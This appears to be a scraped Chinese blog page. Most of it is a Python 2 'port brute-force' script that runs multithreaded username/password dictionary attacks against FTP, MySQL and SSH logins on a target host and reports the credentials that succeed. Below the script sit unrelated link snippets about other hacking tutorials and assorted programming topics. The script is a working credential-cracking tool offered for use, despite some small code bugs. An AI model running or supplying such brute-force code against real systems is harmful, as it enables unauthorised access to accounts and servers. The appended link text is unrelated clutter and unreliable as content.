#coding:utf-8
from optparse import OptionParser
import time,re,sys,threading,Queue
import ftplib,socket,MySQLdb,paramiko

global host
queue = Queue.Queue()
#********************************************
#color
#********************************************
class bcolors:
    OKBLUE = '\033[94m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
#********************************************
#FTP爆破模块
#********************************************
class FtpBurp(threading.Thread):
    """docstring for ftp"""
    def __init__(self, queue):
        threading.Thread.__init__(self)
        self.queue = queue
    def run(self):
        while True:
            user,pwd = self.queue.get()
            try:
                ftp = ftplib.FTP()
                ftp.connect(host,21,timeout=10)
                ftp.login(user,pwd)
                print bcolors.OKBLUE+'[!]\nsuccessful---username:%s --password:%s\n' % (user,pwd)
                ftp.quit()
            except ftplib.all_errors:
                print bcolors.FAIL+'[*]'+user+'----'+pwd
            self.queue.task_done()
#********************************************
#MySql爆破模块
#********************************************
class MySql(threading.Thread):
    def __init__(self,queue):
        threading.Thread.__init__(self)
        self.queue = queue
    def run(self):
        while True:
            user,pwd = self.queue.get()
            try:
                conn = MySQLdb.connect(host=host, user=user,passwd=pwd,db='mysql',port=3306)
                print bcolors.OKBLUE+'[!]\nsuccessful---username:%s --password:%s\n' % (user,pwd)
                if conn:
                    conn.close()
            except MySQLdb.Error, msg:
                print bcolors.FAIL+'[*]'+user+'----'+pwd
            self.queue.task_done()
#********************************************
#SSH爆破模块
#********************************************
class SSH(threading.Thread):
    """docstring for SSH"""
    def __init__(self,queue):
        threading.Thread.__init__(self)
        self.queue = queue
    def run(self):
        while True:
            user,pwd = self.queue.get()
            try:
                ssh = paramiko.SSHClient()
                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                 ssh.connect(host,22,user,pwd,timeout=5)
                print bcolors.OKBLUE+'[!]\nsuccessful---username:%s --password:%s\n' % (user,pwd)
                ssh.close()
                exit()
            except Exception,e:
                print bcolors.FAIL+'[*]'+user+'----'+pwd
            self.queue.task_done()
#********************************************
#可添加web后台爆破
#********************************************
usage = 'Usage: %prog [-t target] [-m method]'
parser = OptionParser(usage)
parser.add_option('-t', dest='target', help='host')
parser.add_option('-m', dest='method', help='ways')
parser.add_option('-u', dest='username', help='username')
parser.add_option('-U', dest='usernamedic', help='username')
parser.add_option('-P', dest='passworddic', help='password')
parser.add_option('-n', dest='threading', help='Thread')

(options, args) = parser.parse_args()

if options.target == None:
    parser.print_help()
    sys.exit(0)

if options.threading:
    n = int(options.threading)
else:
    n = 5
if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', options.target):
    host = options.target
else :
    host = socket.gethostbyname(options.target)
print 'target: %s \n' % host
if     options.username :
    userlist[0] = options.username
    print 'username: %s' % options.username
elif options.usernamedic:
    userlist = [j.strip() for j in open(options.usernamedic)]
    print 'username_number: %d $\n' % len(userlist)
passlist = [j.strip() for j in open(options.passworddic)]
print 'password_number: %d $\n' % len(passlist)
if options.method == 'ftp':
    for i in range(n):
        m_ftp = FtpBurp(queue)
        m_ftp.setDaemon(True)
        m_ftp.start()
    for user in userlist:
        for pwd in passlist:
            queue.put((user,pwd))
if options.method == 'mysql':
    for i in range(n):
        m_sql = MySql(queue)
        m_sql.setDaemon(True)
        m_sql.start()
    for user in userlist:
        for pwd in passlist:
            queue.put((user,pwd))

if options.method == 'ssh':
    for i in range(n):
        m_ssh = SSH(queue)
        m_ssh.setDaemon(True)
        m_ssh.start()
    for user in userlist:
        for pwd in passlist:
            queue.put((user,pwd))
queue.join()

python黑客编程之端口爆破的更多相关文章

  1. Python黑客编程2 入门demo--zip暴力破解

    Python黑客编程2 入门demo--zip暴力破解 上一篇文章,我们在Kali Linux中搭建了基本的Python开发环境,本篇文章为了拉近Python和大家的距离,我们写一个暴力破解zip包密 ...

  2. 《Python黑客编程之极速入门》正式开课

    玄魂 玄魂工作室 今天 之前开启了一个<Python黑客编程>的系列,后来中断了,内容当时设置的比较宽,不太适合入门.现在将其拆分成两个系列<Python黑客编程之极速入门>和 ...

  3. Python黑客编程基础3网络数据监听和过滤

    网络数据监听和过滤 课程的实验环境如下: •      操作系统:kali Linux 2.0 •      编程工具:Wing IDE •      Python版本:2.7.9 •      涉及 ...

  4. Python黑客编程ARP欺骗

    Python灰帽编程 3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据 ...

  5. 电子书推荐--《Python灰帽子》,python黑客编程

    点此在线阅读 <Python灰帽子>是由知名安全机构Immunity Inc的资深黑帽Justin Seitz主笔撰写的一本关于编程语言Python如何被广泛应用于黑客与逆向工程领域的书籍 ...

  6. Python黑客编程知识点整理

    Python转义字符 转义字符 意义 ASCII码值(十进制) \a 响铃(BEL) 007 \b 退格(BS) ,将当前位置移到前一列 008 \f 换页(FF),将当前位置移到下页开头 012 \ ...

  7. Python 黑客相关电子资源和书籍推荐

    原创 2017-06-03 玄魂工作室 玄魂工作室 继续上一次的Python编程入门的资源推荐,本次为大家推荐的是Python网络安全相关的资源和书籍. 在去年的双11送书的时候,其实送过几本Pyth ...

  8. python网络编程01 /C/S架构|B/S架构、网络通信原理、五层协议、七层协议简述、端口映射技术

    python网络编程01 /C/S架构|B/S架构.网络通信原理.五层协议.七层协议简述.端口映射技术 目录 python网络编程01 /C/S架构|B/S架构.网络通信原理.五层协议.七层协议简述. ...

  9. Python 网络编程(一)

    Python 网络编程 socket通常也称作"套接字",用于描述IP地址和端口,是一个通信链的句柄,应用程序通常通过"套接字"向网络发出请求或者应答网络请求. ...

随机推荐

  1. 连接QuickBooks Online实现于IOS App数据同步功能的个人记录

    公司项目需要用WebService与QBO实现后台数据同步,由于国内没有做过类似第三方产品接口的资料,前前后后找了N久,终于实现功能,现把实现功能步骤贴上来分享: QBO开发者地址(主要用于创建QBO ...

  2. 关于android的一些基础知识

    怕自己以后忘了,所以在这里先写写! equal和==的区别是,一个用于判断字符串,一个用于判断int是否相等 equal比较的是对象,==比较的是值

  3. AFNetworking菊花转圈圈

    注意,此圈圈是在左上角,特别小,不注意是看不到的 加载这个东西,要先引入头文件: AFNetworkActivityIndicatorManager.h 然后只要一句代码就可以实现,默认情况下AFN的 ...

  4. iOS [[NSBundle mainBundle] pathForResource:@"" ofType:@""]无法获取到文件

    将一个文件导入到工程中后,用[[NSBundle mainBundle] pathForResource:@"" ofType:@""]来获取到该文件时,一直无 ...

  5. 详解 Spotlight on MySQL监控MySQL服务器

    前一章详解了Spotlight on Unix 监控Linux服务器 ,今天再来看看Spotlight on MySQL怎么监控MySQL服务器. 注:http://www.cnblogs.com/J ...

  6. MySQL分表自增ID解决方案

    当我们对MySQL进行分表操作后,将不能依赖MySQL的自动增量来产生唯一ID了,因为数据已经分散到多个表中. 应尽量避免使用自增IP来做为主键,为数据库分表操作带来极大的不便. 在postgreSQ ...

  7. 面试题整理:C#(二)

    1.类,接口的区别 从定义的角度类描述一个实体,包括状态.属性和动作接口定义一类动作,没有实现,也没有状态信息从程序的角度接口是函数声明:类是函数实现接口可以有属性,不能有字段一个子类只能继承一个父类 ...

  8. Linux中如何解压iso类型文件

    在Linux下如何解压iso类型的文件呢? 可以使用mount命令来处理 [root@DB-Server tmp]# ls /tmp/rhel-server-5.7-x86_64-dvd.iso /t ...

  9. 十五天精通WCF——第三天 client如何知道server提供的功能清单

     通常我们去大保健的时候,都会找姑娘问一下这里能提供什么服务,什么价格,这时候可能姑娘会跟你口述一些服务或者提供一份服务清单,这样的话大 家就可以做到童嫂无欺,这样一份活生生的例子,在wcf中同样是一 ...

  10. Managed DirectX中的DirectShow应用(简单Demo及源码)

    阅读目录 介绍 准备工作 环境搭建 简单Demo 显示效果 其他 Demo下载 介绍 DirectX是Microsoft开发的基于Windows平台的一组API,它是为高速的实时动画渲染.交互式音乐和 ...